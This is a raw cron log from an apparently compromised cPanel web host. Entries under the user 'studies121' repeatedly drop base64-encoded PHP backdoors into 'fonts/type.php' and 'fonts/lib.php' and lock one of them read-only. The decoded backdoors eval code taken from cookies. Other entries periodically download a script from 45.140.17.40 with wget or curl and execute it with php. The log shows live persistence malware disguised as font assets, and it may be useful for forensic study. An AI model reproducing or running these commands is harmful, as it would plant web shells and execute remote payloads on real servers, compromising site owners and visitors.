Sep  8 20:55:01 ip-184-168-122-23 CROND[23027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:55:01 ip-184-168-122-23 CROND[23028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:55:01 ip-184-168-122-23 CROND[23029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:55:01 ip-184-168-122-23 CROND[23030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:55:01 ip-184-168-122-23 CROND[23031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:56:01 ip-184-168-122-23 CROND[23144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:56:01 ip-184-168-122-23 CROND[23145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:56:01 ip-184-168-122-23 CROND[23147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:56:01 ip-184-168-122-23 CROND[23146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:56:01 ip-184-168-122-23 CROND[23149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:57:01 ip-184-168-122-23 CROND[23321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:57:01 ip-184-168-122-23 CROND[23323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:57:01 ip-184-168-122-23 CROND[23325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:57:01 ip-184-168-122-23 CROND[23324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:58:01 ip-184-168-122-23 CROND[23407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:58:01 ip-184-168-122-23 CROND[23411]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:58:01 ip-184-168-122-23 CROND[23408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:58:01 ip-184-168-122-23 CROND[23409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:58:01 ip-184-168-122-23 CROND[23410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:59:01 ip-184-168-122-23 CROND[23499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:59:01 ip-184-168-122-23 CROND[23502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:59:01 ip-184-168-122-23 CROND[23503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:59:01 ip-184-168-122-23 CROND[23501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:00:01 ip-184-168-122-23 CROND[23616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:00:01 ip-184-168-122-23 CROND[23617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:00:01 ip-184-168-122-23 CROND[23619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:00:01 ip-184-168-122-23 CROND[23624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:00:01 ip-184-168-122-23 CROND[23625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:00:01 ip-184-168-122-23 CROND[23622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:00:01 ip-184-168-122-23 CROND[23621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:00:01 ip-184-168-122-23 CROND[23623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:01:01 ip-184-168-122-23 CROND[23757]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 21:01:01 ip-184-168-122-23 CROND[23760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23757]: starting 0anacron
Sep  8 21:01:01 ip-184-168-122-23 CROND[23765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:01:01 ip-184-168-122-23 CROND[23767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:01:01 ip-184-168-122-23 CROND[23772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:01:01 ip-184-168-122-23 CROND[23771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23776]: finished 0anacron
Sep  8 21:02:01 ip-184-168-122-23 CROND[23949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:02:01 ip-184-168-122-23 CROND[23952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:02:01 ip-184-168-122-23 CROND[23955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:02:01 ip-184-168-122-23 CROND[23956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:02:01 ip-184-168-122-23 CROND[23957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:03:01 ip-184-168-122-23 CROND[24037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:03:01 ip-184-168-122-23 CROND[24041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:03:01 ip-184-168-122-23 CROND[24039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:03:01 ip-184-168-122-23 CROND[24040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:04:01 ip-184-168-122-23 CROND[24129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:04:01 ip-184-168-122-23 CROND[24131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:04:01 ip-184-168-122-23 CROND[24133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:04:01 ip-184-168-122-23 CROND[24134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:04:01 ip-184-168-122-23 CROND[24135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:05:01 ip-184-168-122-23 CROND[24235]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:05:01 ip-184-168-122-23 CROND[24237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:05:01 ip-184-168-122-23 CROND[24238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:05:01 ip-184-168-122-23 CROND[24241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:05:01 ip-184-168-122-23 CROND[24239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:05:01 ip-184-168-122-23 CROND[24240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:05:01 ip-184-168-122-23 CROND[24242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:06:01 ip-184-168-122-23 CROND[24336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:06:01 ip-184-168-122-23 CROND[24338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:06:01 ip-184-168-122-23 CROND[24339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:06:01 ip-184-168-122-23 CROND[24340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:06:01 ip-184-168-122-23 CROND[24341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
